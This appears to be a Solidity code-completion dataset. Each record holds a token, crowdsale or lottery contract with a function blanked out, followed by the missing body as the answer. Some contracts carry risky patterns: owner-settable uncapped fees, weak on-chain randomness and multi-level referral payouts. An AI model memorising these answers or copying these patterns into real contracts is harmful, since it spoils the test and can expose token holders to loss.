uint256 contractTokenBalance = balanceOf(address(this));
bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity;
if (
overMinTokenBalance &&
!inSwapAndLiquify &&
from != uniswapV2Pair &&
swapAndLiquifyEnabled
) {
contractTokenBalance = numTokensSellToAddToLiquidity;
//add liquidity
swapAndLiquify(contractTokenBalance);
}
// Indicates if fee should be deducted from transfer
bool takeFee = true;
// If any account belongs to _isExcludedFromFee account then remove the fee
if(isWhiteListed(from) || isWhiteListed(to)){
takeFee = false;
}
// Set buy fees
if(from == uniswapV2Pair || from.isContract()) {
_taxFee = _buyTaxFee;
_marketingFee = _buyMarketingFee;
_liquidityFee = _buyLiquidityFee;
_burnFee = _buyBurnFee;
}
// Set sell fees
if(to == uniswapV2Pair || to.isContract()) {
_taxFee = _sellTaxFee;
_marketingFee = _sellMarketingFee;
_liquidityFee = _sellLiquidityFee;
_burnFee = _sellBurnFee;
}
//transfer amount, it will take tax, burn, liquidity fee
_tokenTransfer(from,to,amount);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
uint256 combineFees = _liquidityFee.add(_marketingFee); // marketing + liquidity fees
uint256 tokensForLiquidity = contractTokenBalance.mul(_liquidityFee).div(combineFees);
uint256 tokensForMarketing = contractTokenBalance.sub(tokensForLiquidity);
// split the Liquidity tokens balance into halves
uint256 half = tokensForLiquidity.div(2);
uint256 otherHalf = tokensForLiquidity.sub(half);
// capture the contract's current ETH balance.
// this is so that we can capture exactly the amount of ETH that the
// swap creates, and not make the liquidity event include any ETH that
// has been manually sent to the contract
uint256 initialBalance = address(this).balance;
// swap tokens for ETH
swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered
// how much ETH did we just swap into?
uint256 newBalance = address(this).balance.sub(initialBalance);
// add liquidity to uniswap
addLiquidity(otherHalf, newBalance);
emit SwapAndLiquify(half, newBalance, otherHalf);
uint256 contractBalance = address(this).balance;
swapTokensForEth(tokensForMarketing);
uint256 transferredBalance = address(this).balance.sub(contractBalance);
//Send to Marketing address
transferToAddressETH(marketingWallet, transferredBalance);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
owner(),
block.timestamp
);
}
//this method is responsible for taking all fee, if takeFee is true
function _tokenTransfer(address sender, address recipient, uint256 amount) private
{
if(_whiteList[sender] || _whiteList[recipient])
{
removeAllFee();
}
else
{
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
}
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private
{
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
(tTransferAmount, rTransferAmount) = takeBurn(sender, tTransferAmount, rTransferAmount, tAmount);
(tTransferAmount, rTransferAmount) = takeMarketing(sender, tTransferAmount, rTransferAmount, tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function takeBurn(address sender, uint256 tTransferAmount, uint256 rTransferAmount, uint256 tAmount) private
returns (uint256, uint256)
{
if(_burnFee==0) { return(tTransferAmount, rTransferAmount); }
uint256 tBurn = tAmount.div(100).mul(_burnFee);
uint256 rBurn = tBurn.mul(_getRate());
rTransferAmount = rTransferAmount.sub(rBurn);
tTransferAmount = tTransferAmount.sub(tBurn);
_rOwned[deadAddress] = _rOwned[deadAddress].add(rBurn);
emit Transfer(sender, deadAddress, tBurn);
return(tTransferAmount, rTransferAmount);
}
function takeMarketing(address sender, uint256 tTransferAmount, uint256 rTransferAmount, uint256 tAmount) private
returns (uint256, uint256)
{
if(_marketingFee==0) { return(tTransferAmount, rTransferAmount); }
uint256 tMarketing = tAmount.div(100).mul(_marketingFee);
uint256 rMarketing = tMarketing.mul(_getRate());
rTransferAmount = rTransferAmount.sub(rMarketing);
tTransferAmount = tTransferAmount.sub(tMarketing);
_rOwned[address(this)] = _rOwned[address(this)].add(rMarketing);
emit Transfer(sender, address(this), tMarketing);
return(tTransferAmount, rTransferAmount);
}
<FILL_FUNCTION>
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function excludeFromFee(address account) public onlyOwner {
_whiteList[account] = true;
}
function includeInFee(address account) public onlyOwner {
_whiteList[account] = false;
}
function setMarketingWallet(address payable newWallet) external onlyOwner() {
marketingWallet = newWallet;
}
function setBuyFeePercent(uint256 taxFee, uint256 MarketingFee, uint256 liquidityFee, uint256 burnFee) external onlyOwner() {
_buyTaxFee = taxFee;
_buyMarketingFee = MarketingFee;
_buyLiquidityFee = liquidityFee;
_buyBurnFee = burnFee;
}
function setSellFeePercent(uint256 taxFee, uint256 MarketingFee, uint256 liquidityFee, uint256 burnFee) external onlyOwner() {
_sellTaxFee = taxFee;
_sellMarketingFee = MarketingFee;
_sellLiquidityFee = liquidityFee;
_sellBurnFee = burnFee;
}
function setNumTokensSellToAddToLiquidity(uint256 newAmt) external onlyOwner() {
numTokensSellToAddToLiquidity = newAmt*10**_decimals;
}
function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
_maxTxAmount = maxTxAmount * 10**_decimals;
}
function setMaxBuytx(uint256 _newAmount) public onlyOwner {
maxBuyTransactionAmount = _newAmount * 10**_decimals;
}
function setMaxWalletToken(uint256 _maxToken) external onlyOwner {
maxWalletToken = _maxToken * 10**_decimals;
}
//New router address?
//No problem, just change it here!
function setRouterAddress(address newRouter) public onlyOwner() {
IUniswapV2Router02 _newPancakeRouter = IUniswapV2Router02(newRouter);
uniswapV2Pair = IUniswapV2Factory(_newPancakeRouter.factory()).createPair(address(this), _newPancakeRouter.WETH());
uniswapV2Router = _newPancakeRouter;
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
function transferToAddressETH(address payable recipient, uint256 amount) private {
recipient.transfer(amount);
}
} |
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
| function _transferToExcluded(address sender, address recipient, uint256 tAmount) private | function _transferToExcluded(address sender, address recipient, uint256 tAmount) private |
15747 | ClosedPeriod | null | contract ClosedPeriod is TimedCrowdsale {
uint256 startClosePeriod;
uint256 stopClosePeriod;
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
require(block.timestamp < startClosePeriod || block.timestamp > stopClosePeriod);
_;
}
constructor(
uint256 _openingTime,
uint256 _closingTime,
uint256 _openClosePeriod,
uint256 _endClosePeriod
) public
TimedCrowdsale(_openingTime, _closingTime)
{<FILL_FUNCTION_BODY> }
} | contract ClosedPeriod is TimedCrowdsale {
uint256 startClosePeriod;
uint256 stopClosePeriod;
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
require(block.timestamp < startClosePeriod || block.timestamp > stopClosePeriod);
_;
}
<FILL_FUNCTION>
} |
require(_openClosePeriod > 0);
require(_endClosePeriod > _openClosePeriod);
startClosePeriod = _openClosePeriod;
stopClosePeriod = _endClosePeriod;
| constructor(
uint256 _openingTime,
uint256 _closingTime,
uint256 _openClosePeriod,
uint256 _endClosePeriod
) public
TimedCrowdsale(_openingTime, _closingTime)
| constructor(
uint256 _openingTime,
uint256 _closingTime,
uint256 _openClosePeriod,
uint256 _endClosePeriod
) public
TimedCrowdsale(_openingTime, _closingTime)
|
37774 | HodlerMining | approveAndCall | contract HodlerMining is StandardToken { // CHANGE THIS. Update the contract name.
/* Public variables of the token */
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise the token contract & in no way influences the core functionality.
Some wallets/interfaces might not even bother to look at this information.
*/
string public name; // Token Name
uint8 public decimals; // How many decimals to show. To be standard complicant keep it 18
string public symbol; // An identifier: eg SBX, XPR etc..
string public version = 'H1.0';
uint256 public unitsOneEthCanBuy; // How many units of your coin can be bought by 1 ETH?
uint256 public totalEthInWei; // WEI is the smallest unit of ETH (the equivalent of cent in USD or satoshi in BTC). We'll store the total ETH raised via our ICO here.
address public fundsWallet; // Where should the raised ETH go?
// This is a constructor function
// which means the following function name has to match the contract name declared above
function HodlerMining() {
balances[msg.sender] = 250000000000000000000000;
totalSupply = 250000000000000000000000;
name = "Hodler Mining";
decimals = 18;
symbol = "HDLRE";
unitsOneEthCanBuy = 1;
fundsWallet = msg.sender;
}
function() payable{
totalEthInWei = totalEthInWei + msg.value;
uint256 amount = msg.value * unitsOneEthCanBuy;
require(balances[fundsWallet] >= amount);
balances[fundsWallet] = balances[fundsWallet] - amount;
balances[msg.sender] = balances[msg.sender] + amount;
Transfer(fundsWallet, msg.sender, amount); // Broadcast a message to the blockchain
//Transfer ether to fundsWallet
fundsWallet.transfer(msg.value);
}
/* Approves and then calls the receiving contract */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {<FILL_FUNCTION_BODY> }
} | contract HodlerMining is StandardToken { // CHANGE THIS. Update the contract name.
/* Public variables of the token */
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise the token contract & in no way influences the core functionality.
Some wallets/interfaces might not even bother to look at this information.
*/
string public name; // Token Name
uint8 public decimals; // How many decimals to show. To be standard complicant keep it 18
string public symbol; // An identifier: eg SBX, XPR etc..
string public version = 'H1.0';
uint256 public unitsOneEthCanBuy; // How many units of your coin can be bought by 1 ETH?
uint256 public totalEthInWei; // WEI is the smallest unit of ETH (the equivalent of cent in USD or satoshi in BTC). We'll store the total ETH raised via our ICO here.
address public fundsWallet; // Where should the raised ETH go?
// This is a constructor function
// which means the following function name has to match the contract name declared above
function HodlerMining() {
balances[msg.sender] = 250000000000000000000000;
totalSupply = 250000000000000000000000;
name = "Hodler Mining";
decimals = 18;
symbol = "HDLRE";
unitsOneEthCanBuy = 1;
fundsWallet = msg.sender;
}
function() payable{
totalEthInWei = totalEthInWei + msg.value;
uint256 amount = msg.value * unitsOneEthCanBuy;
require(balances[fundsWallet] >= amount);
balances[fundsWallet] = balances[fundsWallet] - amount;
balances[msg.sender] = balances[msg.sender] + amount;
Transfer(fundsWallet, msg.sender, amount); // Broadcast a message to the blockchain
//Transfer ether to fundsWallet
fundsWallet.transfer(msg.value);
}
<FILL_FUNCTION>
} |
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
//call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this.
//receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData)
//it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead.
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
| function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) | /* Approves and then calls the receiving contract */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) |
88357 | GODLottery | startLottery | contract GODLottery {
address owner;
address gameAddr;
uint[] numArr = new uint[](0);
uint public lotterySession;
GODThemis themis;
GODToken godToken;
GODGame game;
mapping(uint => DappDatasets.Lottery) lotteryGame;
constructor(
address _owner,
address _themisAddr,
address _godAddr
) public {
owner = _owner;
themis = GODThemis(_themisAddr);
godToken = GODToken(_godAddr);
}
function initGame(address gAddr) external {
require(owner == msg.sender, "Insufficient permissions");
game = GODGame(gAddr);
gameAddr = gAddr;
}
function exchange(uint usdtVal, address addr) external {
require(gameAddr == msg.sender, "Insufficient permissions");
require(usdtVal >= 10 ** 6, "Redeem at least 1USDT");
themis.addStaticPrizePool(usdtVal);
uint usdtPrice = godToken.usdtPrice();
uint godCount = SafeMath.div(usdtVal * 10 ** 8, usdtPrice);
godToken.gainGODToken(godCount, true);
godToken.transfer(addr, godCount);
godDividend(usdtVal, usdtPrice, addr);
uint usdt = SafeMath.div(SafeMath.mul(usdtVal, 4), 100);
uint vGod = SafeMath.div(usdt * 10 ** 8, usdtPrice);
uint usdt4 = SafeMath.div(SafeMath.mul(usdtVal, 3), 100);
uint vGod4 = SafeMath.div(usdt4 * 10 ** 8, usdtPrice);
themis.addGodtPool(vGod, vGod4);
}
function godDividend(uint usdtVal, uint usdtPrice, address addr) internal {
address playerAddr = addr;
uint num = 9;
address superiorAddr;
for(uint i = 0; i < 3; i++) {
(, , , superiorAddr, ) = game.getPlayer(playerAddr);
if(superiorAddr != address(0x0)) {
uint usdt = SafeMath.div(SafeMath.mul(usdtVal, num), 100);
uint god = SafeMath.div(usdt * 10 ** 8, usdtPrice);
godToken.gainGODToken(god, false);
godToken.transfer(superiorAddr, god);
uint reward = SafeMath.div(god, 10);
interactive(superiorAddr, reward);
(, , , superiorAddr, ) = game.getPlayer(superiorAddr);
if(superiorAddr != address(0x0)) {
godToken.gainGODToken(reward, false);
godToken.transfer(superiorAddr, reward);
num -= 3;
playerAddr = superiorAddr;
}else {
break;
}
}else {
break;
}
}
}
function interactive(address addr, uint amount) internal {
address[] memory subordinates;
(, , , , subordinates) = game.getPlayer(addr);
if(subordinates.length > 0) {
uint length = subordinates.length;
if(subordinates.length > 30) {
length = 30;
}
uint splitEqually = SafeMath.div(amount, length);
for(uint i = 0; i < length; i++) {
godToken.gainGODToken(splitEqually, false);
godToken.transfer(subordinates[i], splitEqually);
}
}
}
function startLottery() external {<FILL_FUNCTION_BODY> }
function participateLottery(uint usdtVal, address addr) external {
require(gameAddr == msg.sender, "Insufficient permissions");
require(usdtVal <= 300 * 10 ** 6 && usdtVal >= 10 ** 6, "Purchase value between 1-300");
require(lotterySession > 0, "The game has not started");
require(lotteryGame[lotterySession].whetherToEnd == false,"Game over");
uint count = SafeMath.div(usdtVal, 10 ** 6);
getLottoCode(addr, count);
}
function getLottoCodeByGameAddr(address addr, uint count) external {
require(gameAddr == msg.sender, "Insufficient permissions");
getLottoCode(addr, count);
}
function getLottoCode(address addr, uint count) internal {
DappDatasets.Lottery storage lottery = lotteryGame[lotterySession];
lottery.lotteryMap[addr].push(lottery.number);
if(count > 1) {
lottery.lotteryMap[addr].push(SafeMath.add(lottery.number, count - 1));
}
lottery.lotteryMap[addr].push(0);
for(uint i = 0; i < count; i++) {
lottery.numToAddr[lottery.number] = addr;
lottery.number++;
}
themis.addStaticPrizePool(count * 10 ** 6);
lottery.totayLotteryAmountTotal = SafeMath.add(lottery.totayLotteryAmountTotal, count * 10 ** 6);
}
function endLottery()
external {
require(owner == msg.sender, "Insufficient permissions");
require(lotterySession > 0, "The game has not started");
DappDatasets.Lottery storage lottery = lotteryGame[lotterySession];
require(lottery.whetherToEnd == false,"Game over");
lottery.whetherToEnd = true;
if(lottery.lotteryPool <= 0) {
return;
}
uint lotteryNumber = lottery.number;
if(lotteryNumber < 2) {
lottery.unopenedBonus = SafeMath.add(lottery.unopenedBonus, lottery.lotteryPool);
return;
}
uint grandPrizeNum = 0;
uint[] memory firstPrizeNum;
uint[] memory secondPrizeNum;
uint[] memory thirdPrizeNum;
bool flag = lottery.totayLotteryAmountTotal >= SafeMath.mul(lottery.todayAmountTotal, 3);
if(flag) {
grandPrizeNum = DappDatasets.rand(lotteryNumber, 7);
lottery.grandPrizeNum = grandPrizeNum;
}
grandPrizeDistribution(grandPrizeNum, flag);
uint number = 2;
flag = lottery.totayLotteryAmountTotal >= lottery.todayAmountTotal;
if(flag) {
if(lotteryNumber < 3) {
number = lotteryNumber - 1;
}
firstPrizeNum = DappDatasets.returnArray(number, lotteryNumber, 17);
lottery.firstPrizeNum = firstPrizeNum;
}
prizeDistribution(firstPrizeNum, 2, 1, flag);
number = 5;
flag = lottery.totayLotteryAmountTotal >= SafeMath.div(SafeMath.mul(lottery.todayAmountTotal, 3), 10);
if(flag) {
if(lotteryNumber < 6) {
number = lotteryNumber - 1;
}
secondPrizeNum = DappDatasets.returnArray(number, lotteryNumber, 27);
lottery.secondPrizeNum = secondPrizeNum;
}
prizeDistribution(secondPrizeNum, 2, 2, flag);
number = 10;
if(lotteryNumber < 11) {
number = lotteryNumber - 1;
}
thirdPrizeNum = DappDatasets.returnArray(number, lotteryNumber, 37);
lottery.thirdPrizeNum = thirdPrizeNum;
prizeDistribution(thirdPrizeNum, 3, 3, true);
}
function grandPrizeDistribution(uint grandPrizeNum, bool flag) internal {
DappDatasets.Lottery storage lottery = lotteryGame[lotterySession];
uint grandPrize = SafeMath.div(SafeMath.mul(lottery.lotteryPool, 3), 10);
if(flag) {
grandPrize = SafeMath.add(grandPrize, lottery.unopenedBonus);
game.updatePlayer(lottery.numToAddr[grandPrizeNum], grandPrize);
lottery.personalAmount[lottery.numToAddr[grandPrizeNum]] = SafeMath.add(
lottery.personalAmount[lottery.numToAddr[grandPrizeNum]],
grandPrize
);
lottery.awardAmount[0] = grandPrize;
lottery.unopenedBonus = 0;
}else {
lottery.unopenedBonus = SafeMath.add(lottery.unopenedBonus, grandPrize);
}
}
function prizeDistribution(uint[] winningNumber, uint divide, uint num, bool flag) internal {
DappDatasets.Lottery storage lottery = lotteryGame[lotterySession];
uint prize = SafeMath.div(SafeMath.mul(lottery.lotteryPool, divide), 10);
if(flag) {
uint personal = SafeMath.div(prize, winningNumber.length);
for(uint i = 0; i < winningNumber.length; i++) {
game.updatePlayer(lottery.numToAddr[winningNumber[i]], personal);
lottery.personalAmount[lottery.numToAddr[winningNumber[i]]] = SafeMath.add(
lottery.personalAmount[lottery.numToAddr[winningNumber[i]]],
personal
);
lottery.awardAmount[num] = personal;
}
}else {
lottery.unopenedBonus = SafeMath.add(lottery.unopenedBonus, prize);
}
}
function getLotteryInfo() external view returns(uint session, uint pool, uint unopenedBonus, bool isEnd, uint[]) {
DappDatasets.Lottery storage lottery = lotteryGame[lotterySession];
return (
lotterySession,
lottery.lotteryPool,
lottery.unopenedBonus,
lottery.whetherToEnd,
lottery.lotteryMap[msg.sender]
);
}
function getHistoryLottery(uint num) external view returns(uint, uint, uint[], uint[], uint[], uint[], uint[]) {
DappDatasets.Lottery storage lottery = lotteryGame[num];
uint[] memory awardArray = new uint[](4);
for(uint i = 0; i < 4; i++) {
awardArray[i] = lottery.awardAmount[i];
}
return (
lottery.grandPrizeNum,
lottery.personalAmount[msg.sender],
lottery.firstPrizeNum,
lottery.secondPrizeNum,
lottery.thirdPrizeNum,
lottery.lotteryMap[msg.sender],
awardArray
);
}
function getLotteryIsEnd() external view returns(bool) {
DappDatasets.Lottery storage lottery = lotteryGame[lotterySession];
return lottery.whetherToEnd;
}
function updateLotteryPoolAndTodayAmountTotal(uint usdtVal, uint lotteryPool) external {
require(msg.sender == gameAddr, "Insufficient permissions");
DappDatasets.Lottery storage lottery = lotteryGame[lotterySession];
lottery.todayAmountTotal = SafeMath.add(lottery.todayAmountTotal, usdtVal);
lottery.lotteryPool = SafeMath.add(lottery.lotteryPool, lotteryPool);
}
} | contract GODLottery {
address owner;
address gameAddr;
uint[] numArr = new uint[](0);
uint public lotterySession;
GODThemis themis;
GODToken godToken;
GODGame game;
mapping(uint => DappDatasets.Lottery) lotteryGame;
constructor(
address _owner,
address _themisAddr,
address _godAddr
) public {
owner = _owner;
themis = GODThemis(_themisAddr);
godToken = GODToken(_godAddr);
}
function initGame(address gAddr) external {
require(owner == msg.sender, "Insufficient permissions");
game = GODGame(gAddr);
gameAddr = gAddr;
}
function exchange(uint usdtVal, address addr) external {
require(gameAddr == msg.sender, "Insufficient permissions");
require(usdtVal >= 10 ** 6, "Redeem at least 1USDT");
themis.addStaticPrizePool(usdtVal);
uint usdtPrice = godToken.usdtPrice();
uint godCount = SafeMath.div(usdtVal * 10 ** 8, usdtPrice);
godToken.gainGODToken(godCount, true);
godToken.transfer(addr, godCount);
godDividend(usdtVal, usdtPrice, addr);
uint usdt = SafeMath.div(SafeMath.mul(usdtVal, 4), 100);
uint vGod = SafeMath.div(usdt * 10 ** 8, usdtPrice);
uint usdt4 = SafeMath.div(SafeMath.mul(usdtVal, 3), 100);
uint vGod4 = SafeMath.div(usdt4 * 10 ** 8, usdtPrice);
themis.addGodtPool(vGod, vGod4);
}
function godDividend(uint usdtVal, uint usdtPrice, address addr) internal {
address playerAddr = addr;
uint num = 9;
address superiorAddr;
for(uint i = 0; i < 3; i++) {
(, , , superiorAddr, ) = game.getPlayer(playerAddr);
if(superiorAddr != address(0x0)) {
uint usdt = SafeMath.div(SafeMath.mul(usdtVal, num), 100);
uint god = SafeMath.div(usdt * 10 ** 8, usdtPrice);
godToken.gainGODToken(god, false);
godToken.transfer(superiorAddr, god);
uint reward = SafeMath.div(god, 10);
interactive(superiorAddr, reward);
(, , , superiorAddr, ) = game.getPlayer(superiorAddr);
if(superiorAddr != address(0x0)) {
godToken.gainGODToken(reward, false);
godToken.transfer(superiorAddr, reward);
num -= 3;
playerAddr = superiorAddr;
}else {
break;
}
}else {
break;
}
}
}
function interactive(address addr, uint amount) internal {
address[] memory subordinates;
(, , , , subordinates) = game.getPlayer(addr);
if(subordinates.length > 0) {
uint length = subordinates.length;
if(subordinates.length > 30) {
length = 30;
}
uint splitEqually = SafeMath.div(amount, length);
for(uint i = 0; i < length; i++) {
godToken.gainGODToken(splitEqually, false);
godToken.transfer(subordinates[i], splitEqually);
}
}
}
<FILL_FUNCTION>
function participateLottery(uint usdtVal, address addr) external {
require(gameAddr == msg.sender, "Insufficient permissions");
require(usdtVal <= 300 * 10 ** 6 && usdtVal >= 10 ** 6, "Purchase value between 1-300");
require(lotterySession > 0, "The game has not started");
require(lotteryGame[lotterySession].whetherToEnd == false,"Game over");
uint count = SafeMath.div(usdtVal, 10 ** 6);
getLottoCode(addr, count);
}
function getLottoCodeByGameAddr(address addr, uint count) external {
require(gameAddr == msg.sender, "Insufficient permissions");
getLottoCode(addr, count);
}
function getLottoCode(address addr, uint count) internal {
DappDatasets.Lottery storage lottery = lotteryGame[lotterySession];
lottery.lotteryMap[addr].push(lottery.number);
if(count > 1) {
lottery.lotteryMap[addr].push(SafeMath.add(lottery.number, count - 1));
}
lottery.lotteryMap[addr].push(0);
for(uint i = 0; i < count; i++) {
lottery.numToAddr[lottery.number] = addr;
lottery.number++;
}
themis.addStaticPrizePool(count * 10 ** 6);
lottery.totayLotteryAmountTotal = SafeMath.add(lottery.totayLotteryAmountTotal, count * 10 ** 6);
}
function endLottery()
external {
require(owner == msg.sender, "Insufficient permissions");
require(lotterySession > 0, "The game has not started");
DappDatasets.Lottery storage lottery = lotteryGame[lotterySession];
require(lottery.whetherToEnd == false,"Game over");
lottery.whetherToEnd = true;
if(lottery.lotteryPool <= 0) {
return;
}
uint lotteryNumber = lottery.number;
if(lotteryNumber < 2) {
lottery.unopenedBonus = SafeMath.add(lottery.unopenedBonus, lottery.lotteryPool);
return;
}
uint grandPrizeNum = 0;
uint[] memory firstPrizeNum;
uint[] memory secondPrizeNum;
uint[] memory thirdPrizeNum;
bool flag = lottery.totayLotteryAmountTotal >= SafeMath.mul(lottery.todayAmountTotal, 3);
if(flag) {
grandPrizeNum = DappDatasets.rand(lotteryNumber, 7);
lottery.grandPrizeNum = grandPrizeNum;
}
grandPrizeDistribution(grandPrizeNum, flag);
uint number = 2;
flag = lottery.totayLotteryAmountTotal >= lottery.todayAmountTotal;
if(flag) {
if(lotteryNumber < 3) {
number = lotteryNumber - 1;
}
firstPrizeNum = DappDatasets.returnArray(number, lotteryNumber, 17);
lottery.firstPrizeNum = firstPrizeNum;
}
prizeDistribution(firstPrizeNum, 2, 1, flag);
number = 5;
flag = lottery.totayLotteryAmountTotal >= SafeMath.div(SafeMath.mul(lottery.todayAmountTotal, 3), 10);
if(flag) {
if(lotteryNumber < 6) {
number = lotteryNumber - 1;
}
secondPrizeNum = DappDatasets.returnArray(number, lotteryNumber, 27);
lottery.secondPrizeNum = secondPrizeNum;
}
prizeDistribution(secondPrizeNum, 2, 2, flag);
number = 10;
if(lotteryNumber < 11) {
number = lotteryNumber - 1;
}
thirdPrizeNum = DappDatasets.returnArray(number, lotteryNumber, 37);
lottery.thirdPrizeNum = thirdPrizeNum;
prizeDistribution(thirdPrizeNum, 3, 3, true);
}
function grandPrizeDistribution(uint grandPrizeNum, bool flag) internal {
DappDatasets.Lottery storage lottery = lotteryGame[lotterySession];
uint grandPrize = SafeMath.div(SafeMath.mul(lottery.lotteryPool, 3), 10);
if(flag) {
grandPrize = SafeMath.add(grandPrize, lottery.unopenedBonus);
game.updatePlayer(lottery.numToAddr[grandPrizeNum], grandPrize);
lottery.personalAmount[lottery.numToAddr[grandPrizeNum]] = SafeMath.add(
lottery.personalAmount[lottery.numToAddr[grandPrizeNum]],
grandPrize
);
lottery.awardAmount[0] = grandPrize;
lottery.unopenedBonus = 0;
}else {
lottery.unopenedBonus = SafeMath.add(lottery.unopenedBonus, grandPrize);
}
}
function prizeDistribution(uint[] winningNumber, uint divide, uint num, bool flag) internal {
DappDatasets.Lottery storage lottery = lotteryGame[lotterySession];
uint prize = SafeMath.div(SafeMath.mul(lottery.lotteryPool, divide), 10);
if(flag) {
uint personal = SafeMath.div(prize, winningNumber.length);
for(uint i = 0; i < winningNumber.length; i++) {
game.updatePlayer(lottery.numToAddr[winningNumber[i]], personal);
lottery.personalAmount[lottery.numToAddr[winningNumber[i]]] = SafeMath.add(
lottery.personalAmount[lottery.numToAddr[winningNumber[i]]],
personal
);
lottery.awardAmount[num] = personal;
}
}else {
lottery.unopenedBonus = SafeMath.add(lottery.unopenedBonus, prize);
}
}
function getLotteryInfo() external view returns(uint session, uint pool, uint unopenedBonus, bool isEnd, uint[]) {
DappDatasets.Lottery storage lottery = lotteryGame[lotterySession];
return (
lotterySession,
lottery.lotteryPool,
lottery.unopenedBonus,
lottery.whetherToEnd,
lottery.lotteryMap[msg.sender]
);
}
function getHistoryLottery(uint num) external view returns(uint, uint, uint[], uint[], uint[], uint[], uint[]) {
DappDatasets.Lottery storage lottery = lotteryGame[num];
uint[] memory awardArray = new uint[](4);
for(uint i = 0; i < 4; i++) {
awardArray[i] = lottery.awardAmount[i];
}
return (
lottery.grandPrizeNum,
lottery.personalAmount[msg.sender],
lottery.firstPrizeNum,
lottery.secondPrizeNum,
lottery.thirdPrizeNum,
lottery.lotteryMap[msg.sender],
awardArray
);
}
function getLotteryIsEnd() external view returns(bool) {
DappDatasets.Lottery storage lottery = lotteryGame[lotterySession];
return lottery.whetherToEnd;
}
function updateLotteryPoolAndTodayAmountTotal(uint usdtVal, uint lotteryPool) external {
require(msg.sender == gameAddr, "Insufficient permissions");
DappDatasets.Lottery storage lottery = lotteryGame[lotterySession];
lottery.todayAmountTotal = SafeMath.add(lottery.todayAmountTotal, usdtVal);
lottery.lotteryPool = SafeMath.add(lottery.lotteryPool, lotteryPool);
}
} |
require(owner == msg.sender, "Insufficient permissions");
lotterySession++;
if(lotterySession > 1) {
require(lotteryGame[lotterySession - 1].whetherToEnd == true, "The game is not over yet");
}
lotteryGame[lotterySession] = DappDatasets.Lottery(
{
whetherToEnd : false,
lotteryPool : 0,
unopenedBonus : lotteryGame[lotterySession - 1].unopenedBonus,
number : 1,
todayAmountTotal : 0,
totayLotteryAmountTotal : 0,
grandPrizeNum : 0,
firstPrizeNum : numArr,
secondPrizeNum : numArr,
thirdPrizeNum : numArr
}
);
| function startLottery() external | function startLottery() external |
9648 | Mozza | _getRValues | contract Mozza is Context, IERC20, Auth {
using SafeMath for uint256;
string private constant _name = "Mozzarella | https://t.me/MozzaERC";
string private constant _symbol = "MOZZA";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * (10**_decimals); // 1T Supply
uint256 public swapLimit;
uint256 public maxSwapLimit = _tTotal / 1;
bool private swapEnabled = true;
